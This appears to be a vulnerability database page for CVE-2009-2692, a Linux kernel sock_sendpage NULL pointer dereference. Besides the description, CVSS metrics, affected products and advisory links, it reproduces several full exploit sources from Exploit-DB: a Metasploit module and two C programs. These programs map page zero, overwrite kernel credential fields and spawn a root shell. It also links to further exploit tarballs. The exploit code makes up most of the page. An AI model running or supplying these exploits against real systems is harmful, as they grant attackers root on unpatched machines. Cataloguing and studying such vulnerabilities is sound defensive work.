CVE-2009-2692 : Detail

CVE-2009-2692

7.8
/
HIGH
0.05%V3
Local
2009-08-14 13:00 +00:00
2018-10-10 16:57 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

The Linux kernel 2.6.0 through 2.6.30.4, and 2.4.4 through 2.4.37.4, does not initialize all function pointers for socket operations in proto_ops structures, which allows local users to trigger a NULL pointer dereference and gain privileges by using mmap to map page zero, placing arbitrary code on this page, and then invoking an unavailable operation, as demonstrated by the sendpage operation (sock_sendpage function) on a PF_PPPOX socket.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-908 Use of Uninitialized Resource
The product uses or accesses a resource that has not been initialized.

Metrics

Metric Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 9477

Publication date : 2009-08-17 22:00 +00:00
Author : Zinx
EDB Verified : Yes

Source for exploiting CVE-2009-2692 on Android; Hole is closed in Android kernels released August 2009 or later. http://zenthought.org/content/file/android-root-2009-08-16-source Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9477.tar.gz (android-root-20090816.tar.gz) # milw0rm.com [2009-08-18]
Exploit Database EDB-ID : 19933

Publication date : 2012-07-18 22:00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' #load 'lib/msf/core/post/file.rb' #load 'lib/msf/core/exploit/local/unix.rb' #load 'lib/msf/core/exploit/local/linux.rb' #load 'lib/msf/core/exploit/local/linux_kernel.rb' class Metasploit4 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { 'Name' => 'Linux Kernel Sendpage Local Privilege Escalation', 'Description' => %q{ AKA Wunderbar Emporium }, 'License' => MSF_LICENSE, 'Author' => [ 'spender', # wunderbar_emporium.tgz 'rcvalle', # sock_sendpage.c 'egypt' # metasploit module ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'CVE', '2009-2692' ], [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ], [ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ], ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], #[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ], ], 'DefaultTarget' => 0, } )) end def exploit sc = Metasm::ELF.new(@cpu) sc.parse %Q| #define DEBUGGING #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx .entrypoint #endif call main ;push eax call exit | # Set up the same include order as the bionic build system. # See external/source/meterpreter/source/bionic/libc/Jamfile cparser.lexer.include_search_path = [ "external/source/meterpreter/source/bionic/libc/include/", "external/source/meterpreter/source/bionic/libc/private/", "external/source/meterpreter/source/bionic/libc/bionic/", "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", "external/source/meterpreter/source/bionic/libc/kernel/common/", "external/source/meterpreter/source/bionic/libc/arch-x86/include/", ] cparser.parse(%Q| #define DEBUGGING // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h #ifndef __extension__ #define __extension__ #endif // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h // Doing #if on an undefined macro is fine in GCC, but a parse error in // metasm. #ifndef __STDC__ #define __STDC__ 0 #endif #include #include #include #include #include #include /* OpenBSD's strcmp from string/strcmp.c in bionic */ int strcmp(const char *s1, const char *s2) { while (*s1 == *s2++) if (*s1++ == 0) return (0); return (*(unsigned char *)s1 - *(unsigned char *)--s2); } |) [ "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", "external/source/meterpreter/source/bionic/libc/unistd/mmap.c", # This parses without any trouble, but actually calling perror() causes # immediate segfaults. #"external/source/meterpreter/source/bionic/libc/unistd/perror.c", # For some ungodly reason, NULL ends up being undefined when parsing this # guy, which of course causes parse errors. #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c", ].each do |fname| print_status("Parsing c file #{fname}") cparser.parse(File.read(fname), fname) end print_status("Unix socket.h") unix_socket_h(sc) current_task_struct_h(sc) case target.arch.first when ARCH_X86 print_status("syscall wrappers") linux_x86_syscall_wrappers(sc) main = %q^ #ifdef __x86_64__ #define PTR_FMT "0x%016x" #else #define PTR_FMT "0x%08x" #endif #define NULL ((void*)0) #define DOMAINS_STOP -1 const int domains[] = { PF_BLUETOOTH, PF_APPLETALK, PF_IPX, PF_IRDA, PF_X25, PF_AX25, PF_BLUETOOTH, PF_PPPOX, DOMAINS_STOP }; int *apparmor_enabled; int got_ring0 = 0; unsigned long uid, gid; static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { printf("Unable to obtain symbol listing!\n"); return 0; } } ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { printf(" [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } static void change_cred(void) { unsigned int *task_struct; task_struct = (unsigned int *)current_task_struct(); while (task_struct) { if (task_struct[0] == uid && task_struct[1] == uid && task_struct[2] == uid && task_struct[3] == uid && task_struct[4] == gid && task_struct[5] == gid && task_struct[6] == gid && task_struct[7] == gid) { task_struct[0] = task_struct[1] = task_struct[2] = task_struct[3] = task_struct[4] = task_struct[5] = task_struct[6] = task_struct[7] = 0; break; } task_struct++; } return; } int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e) { got_ring0 = 1; if (apparmor_enabled && *apparmor_enabled) { *apparmor_enabled = 0; } change_cred(); return -1; } const char *shellcode = ""; int shellcode_size = 0; int main() { int i = 0; int d; int in_fd, out_fd; char *mapped; char template[] = "/tmp/sendfile.XXXXXX"; int (*func)(); uid = getuid(), gid = getgid(); mapped = mmap(NULL , 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); if (mapped == NULL) { printf("Mapped zero page!\n"); } else { exit(1); } // jmp dword near [dword 0x8] mapped[0] = '\xff'; mapped[1] = '\x25'; *(unsigned long *)&mapped[2] = 8; *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel; for (i = 0; i < 16; i++) { printf("\\\\x%02x", (unsigned char)mapped[i]); } printf("\n"); for (d = 0; domains[d] != DOMAINS_STOP; d++) { //printf("Next domain ... "); out_fd = socket(domains[d], SOCK_DGRAM, 0); if (out_fd > 0) { printf("Got domain[%d]\n", d); break; } if (out_fd < 0) { printf("out_fd: %d, Errno: %d\n", out_fd, errno); exit(1); } } unlink(template); // Couldn't get mkstemp to work, just use open(2) for now in_fd = open(template, O_CREAT | O_RDWR, 0777); printf("Opened temp file: %d\n", in_fd); unlink(template); printf("Calling ftruncate\n"); ftruncate(in_fd, 4096); printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); sendfile(out_fd, in_fd, NULL, 4096); printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); printf("UID: %d GID: %d\n", getuid(), getgid()); func = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); // weaksauce memcpy so we don't have to #include printf("Copying %d bytes of shellcode\n", shellcode_size); for (i = 0; i < shellcode_size; i++) { (char)func[i] = (char)shellcode[i]; } printf("Calling shellcode: 0x%p\n", func); //sigtrap(); func(); return got_ring0; } ^ main.gsub!(/shellcode =/) do # split the payload into 16-byte chunks and dump it out as a # hex-escaped C string %Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"| end main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") cparser.parse(main, "main.c") asm = cpu.new_ccompiler(cparser, sc).compile sc.parse asm end sc.assemble begin if sc.kind_of? Metasm::ELF elf = sc.encode_string else foo = sc.encode_string elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo) end rescue print_error "Metasm Encoding failed: #{$!}" elog "Metasm Encoding failed: #{$!.class} : #{$!}" elog "Call stack:\n#{$!.backtrace.join("\n")}" return end #puts Rex::Text.to_hex_dump(foo) File.open("payload.bin", "wb") {|fd| fd.write elf } print_status "Writing exploit executable (#{elf.length} bytes)" cmd_exec("rm /tmp/sendpage") write_file("/tmp/sendpage", elf) output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") output.each_line { |line| print_debug line.chomp } #cmd_exec("rm /tmp/sendpage") end end
Exploit Database EDB-ID : 9545

Publication date : 2009-08-30 22:00 +00:00
Author : Ramon de C Valle
EDB Verified : Yes

/* * Linux sock_sendpage() NULL pointer dereference * Copyright 2009 Ramon de Carvalho Valle * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ /* * This exploit was written to illustrate the exploitability of this * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc * and ppc64. * * This exploit makes use of the SELinux and the mmap_min_addr problem to * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3. * The problem, first noticed by Brad Spengler, was described by Red Hat in * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and * the mmap_min_addr protection[2]. * * Support for i386 and x86_64 was added for completeness. For a more complete * implementation, refer to Brad Spengler's exploit[3], which also implements * the personality trick[4] published by Tavis Ormandy and Julien Tinnes. * * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4 * are vulnerable. * * This exploit was tested on: * * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable * CentOS 5.3 (2.6.18-128.4.1.el5) * CentOS 5.3 (2.6.18-128.2.1.el5) * CentOS 5.3 (2.6.18-128.1.16.el5) * CentOS 5.3 (2.6.18-128.1.14.el5) * CentOS 5.3 (2.6.18-128.1.10.el5) * CentOS 5.3 (2.6.18-128.1.6.el5) * CentOS 5.3 (2.6.18-128.1.1.el5) * CentOS 5.3 (2.6.18-128.el5) * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable * CentOS 4.8 (2.6.9-89.0.7.EL) * CentOS 4.8 (2.6.9-89.0.3.EL) * CentOS 4.8 (2.6.9-89.EL) * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5) * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5) * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5) * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5) * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5) * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5) * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5) * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5) * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL) * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL) * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL) * SUSE Linux Enterprise Server 11 (2.6.27.19-5) * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21) * Ubuntu 8.10 (2.6.27-14) is not vulnerable * Ubuntu 8.10 (2.6.27-11) * Ubuntu 8.10 (2.6.27-9) * Ubuntu 8.10 (2.6.27-7) * * For i386 and ppc, compile with the following command: * gcc -Wall -o linux-sendpage linux-sendpage.c * * And for x86_64 and ppc64: * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c * * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html * [2] http://kbase.redhat.com/faq/docs/DOC-18042 * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html */ #include #include #include #include #include #include #include #include #if !defined(__always_inline) #define __always_inline inline __attribute__((always_inline)) #endif #if defined(__i386__) || defined(__x86_64__) #if defined(__LP64__) static __always_inline unsigned long current_stack_pointer(void) { unsigned long sp; asm volatile ("movq %%rsp,%0; " : "=r" (sp)); return sp; } #else static __always_inline unsigned long current_stack_pointer(void) { unsigned long sp; asm volatile ("movl %%esp,%0" : "=r" (sp)); return sp; } #endif #elif defined(__powerpc__) || defined(__powerpc64__) static __always_inline unsigned long current_stack_pointer(void) { unsigned long sp; asm volatile ("mr %0,%%r1; " : "=r" (sp)); return sp; } #endif #if defined(__i386__) || defined(__x86_64__) #if defined(__LP64__) static __always_inline unsigned long current_task_struct(void) { unsigned long task_struct; asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct)); return task_struct; } #else #define TASK_RUNNING 0 static __always_inline unsigned long current_task_struct(void) { unsigned long task_struct, thread_info; thread_info = current_stack_pointer() & ~(4096 - 1); if (*(unsigned long *)thread_info >= 0xc0000000) { task_struct = *(unsigned long *)thread_info; /* * The TASK_RUNNING is the only possible state for a process executing * in user-space. */ if (*(unsigned long *)task_struct == TASK_RUNNING) return task_struct; } /* * Prior to the 2.6 kernel series, the task_struct was stored at the end * of the kernel stack. */ task_struct = current_stack_pointer() & ~(8192 - 1); if (*(unsigned long *)task_struct == TASK_RUNNING) return task_struct; thread_info = task_struct; task_struct = *(unsigned long *)thread_info; if (*(unsigned long *)task_struct == TASK_RUNNING) return task_struct; return -1; } #endif #elif defined(__powerpc__) || defined(__powerpc64__) #define TASK_RUNNING 0 static __always_inline unsigned long current_task_struct(void) { unsigned long task_struct, thread_info; #if defined(__LP64__) task_struct = current_stack_pointer() & ~(16384 - 1); #else task_struct = current_stack_pointer() & ~(8192 - 1); #endif if (*(unsigned long *)task_struct == TASK_RUNNING) return task_struct; thread_info = task_struct; task_struct = *(unsigned long *)thread_info; if (*(unsigned long *)task_struct == TASK_RUNNING) return task_struct; return -1; } #endif #if defined(__i386__) || defined(__x86_64__) static unsigned long uid, gid; static int change_cred(void) { unsigned int *task_struct; task_struct = (unsigned int *)current_task_struct(); while (task_struct) { if (task_struct[0] == uid && task_struct[1] == uid && task_struct[2] == uid && task_struct[3] == uid && task_struct[4] == gid && task_struct[5] == gid && task_struct[6] == gid && task_struct[7] == gid) { task_struct[0] = task_struct[1] = task_struct[2] = task_struct[3] = task_struct[4] = task_struct[5] = task_struct[6] = task_struct[7] = 0; break; } task_struct++; } return -1; } #elif defined(__powerpc__) || defined(__powerpc64__) static int change_cred(void) { unsigned int *task_struct; task_struct = (unsigned int *)current_task_struct(); while (task_struct) { if (!task_struct[0]) { task_struct++; continue; } if (task_struct[0] == task_struct[1] && task_struct[0] == task_struct[2] && task_struct[0] == task_struct[3] && task_struct[4] == task_struct[5] && task_struct[4] == task_struct[6] && task_struct[4] == task_struct[7]) { task_struct[0] = task_struct[1] = task_struct[2] = task_struct[3] = task_struct[4] = task_struct[5] = task_struct[6] = task_struct[7] = 0; break; } task_struct++; } return -1; } #endif #define PAGE_SIZE getpagesize() int main(void) { char *addr; int out_fd, in_fd; char template[] = "/tmp/tmp.XXXXXX"; #if defined(__i386__) || defined(__x86_64__) uid = getuid(), gid = getgid(); #endif if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED| MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } #if defined(__i386__) || defined(__x86_64__) #if defined(__LP64__) addr[0] = '\xff'; addr[1] = '\x24'; addr[2] = '\x25'; *(unsigned long *)&addr[3] = 8; *(unsigned long *)&addr[8] = (unsigned long)change_cred; #else addr[0] = '\xff'; addr[1] = '\x25'; *(unsigned long *)&addr[2] = 8; *(unsigned long *)&addr[8] = (unsigned long)change_cred; #endif #elif defined(__powerpc__) || defined(__powerpc64__) #if defined(__LP64__) /* * The use of function descriptors by the Power 64-bit ELF ABI requires * the use of a fake function descriptor. */ *(unsigned long *)&addr[0] = *(unsigned long *)change_cred; #else addr[0] = '\x3f'; addr[1] = '\xe0'; *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16; addr[4] = '\x63'; addr[5] = '\xff'; *(unsigned short *)&addr[6] = (unsigned short)change_cred; addr[8] = '\x7f'; addr[9] = '\xe9'; addr[10] = '\x03'; addr[11] = '\xa6'; addr[12] = '\x4e'; addr[13] = '\x80'; addr[14] = '\x04'; addr[15] = '\x20'; #endif #endif if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) { perror("socket"); exit(EXIT_FAILURE); } if ((in_fd = mkstemp(template)) == -1) { perror("mkstemp"); exit(EXIT_FAILURE); } if(unlink(template) == -1) { perror("unlink"); exit(EXIT_FAILURE); } if (ftruncate(in_fd, PAGE_SIZE) == -1) { perror("ftruncate"); exit(EXIT_FAILURE); } sendfile(out_fd, in_fd, NULL, PAGE_SIZE); execl("/bin/sh", "sh", "-i", NULL); exit(EXIT_SUCCESS); } // milw0rm.com [2009-08-31]
Exploit Database EDB-ID : 9598

Publication date : 2009-09-08 22:00 +00:00
Author : Ramon de C Valle
EDB Verified : Yes

This is the second version of Linux sock_sendpage() NULL pointer dereference exploit. Now, it also works with Linux kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with that types. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9598.tar.gz (2009-linux-sendpage2.tar.gz) # milw0rm.com [2009-09-09]
Exploit Database EDB-ID : 9479

Publication date : 2009-08-23 22:00 +00:00
Author : INetCop Security
EDB Verified : Yes

/* ** ** 0x82-CVE-2009-2692 ** Linux kernel 2.4/2.6 (32bit) sock_sendpage() local ring0 root exploit (simple ver) ** Tested RedHat Linux 9.0, Fedora core 4~11, Whitebox 4, CentOS 4.x. ** ** -- ** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team. ** spender and venglin's code is very excellent. ** Thankful to them. ** ** Greets: Brad Spengler , ** Przemyslaw Frasunek . ** -- ** exploit by . ** ** "Slow and dirty exploit for this one" ** */ #include #include #include #include #include #include unsigned int uid, gid; void kernel_code() { unsigned long where=0; unsigned long *pcb_task_struct; where=(unsigned long )&where; where&=~8191; pcb_task_struct=(unsigned long *)where; while(pcb_task_struct){ if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&& pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&& pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&& pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){ pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0; pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0; break; } pcb_task_struct++; } return; /* ** By calling iret after pushing a register into kernel stack, ** We don't have to go back to ring3(user mode) privilege level. dont worry. :-} ** ** kernel_code() function will return to its previous status which means before sendfile() system call, ** after operating upon a ring0(kernel mode) privilege level. ** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address. */ } void *kernel=kernel_code; int main(int argc,char *argv[]) { int fd_in=0,fd_out=0,offset=1; void *zero_page; uid=getuid(); gid=getgid(); if(uid==0){ fprintf(stderr,"[-] check ur uid\n"); return -1; } /* ** There are some cases that we need mprotect due to the dependency matter with SVR4. (however, I did not confirm it yet) */ if(personality(0xffffffff)==PER_SVR4){ if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){ perror("[-] mprotect()"); return -1; } } else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){ perror("[-] mmap()"); return -1; } *(char *)0x00000000=0xff; *(char *)0x00000001=0x25; *(unsigned long *)0x00000002=(unsigned long)&kernel; *(char *)0x00000006=0xc3; if((fd_in=open(argv[0],O_RDONLY))==-1){ perror("[-] open()"); return -1; } if((fd_out=socket(PF_APPLETALK,SOCK_DGRAM,0))==-1){ if((fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0))==-1){ perror("[-] socket()"); return -1; } } gogossing: /* ** Sometimes, the attacks can fail. To enlarge the possiblilty of attack, ** an attacker can make all the processes runing under current user uid 0. */ if(sendfile(fd_out,fd_in,&offset,2)==-1){ if(offset==0){ perror("[-] sendfile()"); return -1; } close(fd_out); fd_out=socket(PF_BLUETOOTH,SOCK_DGRAM,0); } if(getuid()==uid){ if(offset){ offset=0; } goto gogossing; /* all process */ } close(fd_in); close(fd_out); execl("/bin/sh","sh","-i",NULL); return 0; } /* eoc */ // milw0rm.com [2009-08-24]
Exploit Database EDB-ID : 9641

Publication date : 2009-09-10 22:00 +00:00
Author : Ramon de C Valle
EDB Verified : Yes

This third version features: Complete support for i386, x86_64, ppc and ppc64; The personality trick published by Tavis Ormandy and Julien Tinnes; The TOC pointer workaround for data items addressing on ppc64 (i.e. functions on exploit code and libc can be referenced); Improved search and transition to SELinux types with mmap_zero permission. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz (2009-linux-sendpage3.tar.gz) # milw0rm.com [2009-09-11]
Exploit Database EDB-ID : 9435

Publication date : 2009-08-13 22:00 +00:00
Author : spender
EDB Verified : Yes

/* dedicated to my best friend in the whole world, Robin Price the joke is in your hands just too easy -- some nice library functions for reuse here though credits to julien tinnes/tavis ormandy for the bug may want to remove the __attribute__((regparm(3))) for 2.4 kernels, I have no time to test spender@www:~$ cat redhat_hehe I bet Red Hat will wish they closed the SELinux vulnerability when they were given the opportunity to. Now all RHEL boxes will get owned by leeches.c :p fd7810e34e9856f77cba67f291ba115f33411ebd d4b0e413ebf15d039953dfabf7f9a2d1 thanks to Dan Walsh for the great SELinux bypass even on "fixed" SELinux policies and nice work Linus on trying to silently fix an 8 year old vulnerability, leaving vendors without patched kernels for their users. use ./wunderbar_emporium.sh for everything don't have mplayer? watch an earlier version of the exploit at: http://www.youtube.com/watch?v=arAfIp7YzZ4 */ http://www.grsecurity.net/~spender/wunderbar_emporium.tgz Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz (2009-wunderbar_emporium.tgz) # milw0rm.com [2009-08-14]
Exploit Database EDB-ID : 9436

Publication date : 2009-08-13 22:00 +00:00
Author : Przemyslaw Frasunek
EDB Verified : Yes

> Linux NULL pointer dereference due to incorrect proto_ops initializations > > ------------------------------------------------------------------------- Quick and dirty exploit for this one: http://www.frasunek.com/proto_ops.tgz Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz (2009-proto_ops.tgz) # milw0rm.com [2009-08-14]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 2.4.4 To (excluding) 2.4.37.5

Linux>>Linux_kernel >> Version From (including) 2.6.0 To (excluding) 2.6.30.5

Configuraton 0

Debian>>Debian_linux >> Version 4.0

Configuraton 0

Suse>>Linux_enterprise_real_time >> Version 10

Configuraton 0

Redhat>>Enterprise_linux_desktop >> Version 4.0

Redhat>>Enterprise_linux_desktop >> Version 5.0

Redhat>>Enterprise_linux_eus >> Version 4.8

Redhat>>Enterprise_linux_eus >> Version 5.3

Redhat>>Enterprise_linux_server >> Version 4.0

Redhat>>Enterprise_linux_server >> Version 5.0

Redhat>>Enterprise_linux_server_aus >> Version 5.3

Redhat>>Enterprise_linux_workstation >> Version 4.0

Redhat>>Enterprise_linux_workstation >> Version 5.0

References

http://www.redhat.com/support/errata/RHSA-2009-1233.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/36278
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2009/dsa-1865
Tags : vendor-advisory, x_refsource_DEBIAN
http://rhn.redhat.com/errata/RHSA-2009-1223.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/37298
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/36430
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/37471
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2009-1222.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.exploit-db.com/exploits/19933
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2009/2272
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/36289
